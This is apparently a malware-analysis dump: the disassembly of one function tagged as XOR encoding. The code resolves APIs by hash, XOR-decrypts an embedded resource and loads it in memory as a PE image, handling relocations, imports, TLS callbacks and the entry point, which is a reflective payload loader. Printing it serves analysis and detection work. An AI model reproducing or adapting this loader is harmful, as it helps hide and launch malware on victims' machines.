Function at 0x180069564
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xe3142
mov rcx, rbx
call fcn.180069c34
mov edx, 0xd5786
mov rcx, rbx
mov r12, rax
call fcn.180069c34
mov edx, 0x348bfa
mov rcx, rbx
mov qword [rbp - 0x79], rax
call fcn.180069c34
xor ecx, ecx
mov edx, 0x11e00
lea r9d, [rcx + 4]
mov r8d, 0x3000
mov qword [rbp - 0x71], rax
call r12
movabs r11, resource.1
movabs rbx, 0x1800fd415
movabs rdi, 0x1800fd416
movabs rsi, str.V_G67CY_q
sub r11, rax
sub rbx, rax
sub rdi, rax
mov r14, rax
mov r10d, 2
mov r9, rax
mov r13d, 0x4780
sub rsi, rax
movabs r8, 0x2492492492492493
nop word [rax + rax]
lea eax, [r10 - 2]
lea r9, [r9 + 4]
movsxd rcx, eax
mov rax, r8
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 4
imul rax, rax, 0x1c
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
xor al, byte [r11 + r9 - 4]
mov byte [r9 - 4], al
lea eax, [r10 - 1]
movsxd rcx, eax
mov rax, r8
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 4
imul rax, rax, 0x1c
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
movsxd rcx, r10d
xor al, byte [rbx + r9 - 4]
mov byte [r9 - 3], al
mov rax, r8
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 4
imul rax, rax, 0x1c
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
xor al, byte [rdi + r9 - 4]
mov byte [r9 - 2], al
lea eax, [r10 + 1]
add r10d, 4
movsxd rcx, eax
mov rax, r8
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 4
imul rax, rax, 0x1c
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
xor al, byte [rsi + r9 - 4]
mov byte [r9 - 1], al
dec r13
jne 0x180069604
mov rcx, r14
call fcn.180069a84
movsx r9d, byte [rbp - 0x51]
mov r8d, 0x3000
shl r9d, 3
mov rdx, rax
xor ecx, ecx
call r12
mov rdi, rax
test rax, rax
je 0x180069970
movsxd rbx, dword [r14 + 0x3c]
mov r13, rdi
mov rdx, r14
add rbx, r14
mov rcx, rdi
sub r13, qword [rbx + 0x30]
movzx eax, word [rbx + 0x14]
mov r8d, dword [rbx + 0x54]
add rax, 0x18
mov qword [rbp + 0x77], rbx
mov qword [rbp - 0x69], r13
add rax, rbx
mov qword [rbx + 0x30], rdi
mov qword [rbp + 0x6f], rax
call fcn.180069ab4
mov r10, qword [rbx + 0xb0]
mov r11, qword [rbx + 0x90]
xor eax, eax
mov qword [rbp + 0x7f], r10
mov r12d, eax
mov esi, eax
cmp ax, word [rbx + 6]
jae 0x180069970
mov rbx, qword [rbp + 0x6f]
mov r15, qword [rbp + 0x77]
mov r13d, eax
add rbx, 0xc
nop word [rax + rax]
mov r9d, dword [rbx]
cmp r10d, r9d
jb 0x18006978b
mov ecx, dword [rbx - 4]
add ecx, r9d
cmp r10d, ecx
jae 0x18006978b
lea r12, [rbx - 0xc]
cmp r11d, r9d
jb 0x18006979f
mov ecx, dword [rbx - 4]
add ecx, r9d
cmp r11d, ecx
jae 0x18006979f
lea r13, [rbx - 0xc]
mov edx, dword [rbx + 8]
mov r8d, dword [rbx + 4]
lea rcx, [rdi + r9]
add rdx, r14
call fcn.180069ab4
movzx eax, word [r15 + 6]
inc esi
add rbx, 0x28
cmp esi, eax
jl 0x180069774
mov r15, qword [rbp - 0x71]
test r13, r13
mov r13, qword [rbp - 0x69]
je 0x180069970
mov eax, dword [rbp + 0x83]
xor r11d, r11d
test rax, rax
je 0x18006987e
mov edx, 0xf000
xor r15d, r15d
nop dword [rax + rax]
mov esi, dword [r12 + 0x14]
add rsi, r11
add r11, 8
mov ebx, dword [rsi + r14 + 4]
sub rbx, 8
shr rbx, 1
je 0x180069871
nop word [rax + rax]
mov eax, dword [r12 + 0x14]
add rax, r11
add r11, 2
movzx ecx, word [rax + r14]
test dx, cx
je 0x180069866
mov r10d, dword [rsi + r14]
and ecx, 0xfff
mov r8d, 8
lea rax, [rdi + rcx]
lea rcx, [rbp + 0x6f]
mov qword [rbp + 0x6f], r15
add r10, rax
mov rdx, r10
call fcn.180069ab4
add qword [rbp + 0x6f], r13
lea rdx, [rbp + 0x6f]
mov rcx, r10
call fcn.180069ab4
mov edx, 0xf000
dec rbx
jne 0x180069814
mov eax, dword [rbp + 0x83]
cmp r11, rax
jb 0x1800697f4
mov r15, qword [rbp - 0x71]
mov rsi, qword [rbp + 0x77]
mov r12d, dword [rsi + 0x90]
add r12, rdi
je 0x180069970
add r12, 0xc
cmp dword [r12], 0
je 0x18006990f
mov r13, qword [rbp - 0x79]
nop dword [rax]
mov ecx, dword [r12]
add rcx, rdi
call r13
mov rsi, rax
test rax, rax
je 0x180069970
mov ebx, dword [r12 + 4]
add rbx, rdi
cmp qword [rbx], 0
je 0x180069900
movabs r13, 0x8000000000000000
nop
mov rcx, qword [rbx]
test r13, rcx
je 0x1800698e1
movzx edx, cx
jmp 0x1800698e8
lea rdx, [rcx + 2]
add rdx, rdi
mov rcx, rsi
call r15
add rbx, 8
mov qword [rbx - 8], rax
cmp qword [rbx], 0
jne 0x1800698d4
mov r13, qword [rbp - 0x79]
add r12, 0x14
cmp dword [r12], 0
jne 0x1800698a4
mov rsi, qword [rbp + 0x77]
mov rcx, r14
call fcn.180069a94
test eax, eax
je 0x18006994d
mov eax, dword [rsi + 0xd0]
mov rbx, qword [rax + rdi + 0x18]
mov rax, qword [rbx]
test rax, rax
je 0x18006994d
nop word [rax + rax]
xor r8d, r8d
mov rcx, r14
lea edx, [r8 + 1]
call rax
mov rax, qword [rbx + 8]
lea rbx, [rbx + 8]
test rax, rax
jne 0x180069934
mov eax, dword [rsi + 0x28]
mov rcx, qword [rbp + 0x67]
xor r8d, r8d
lea edx, [r8 + 1]
add rax, rdi
call rax
test eax, eax
mov eax, 0
cmove rdi, rax
mov rax, rdi
jmp 0x180069972
xor eax, eax
add rsp, 0xf8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret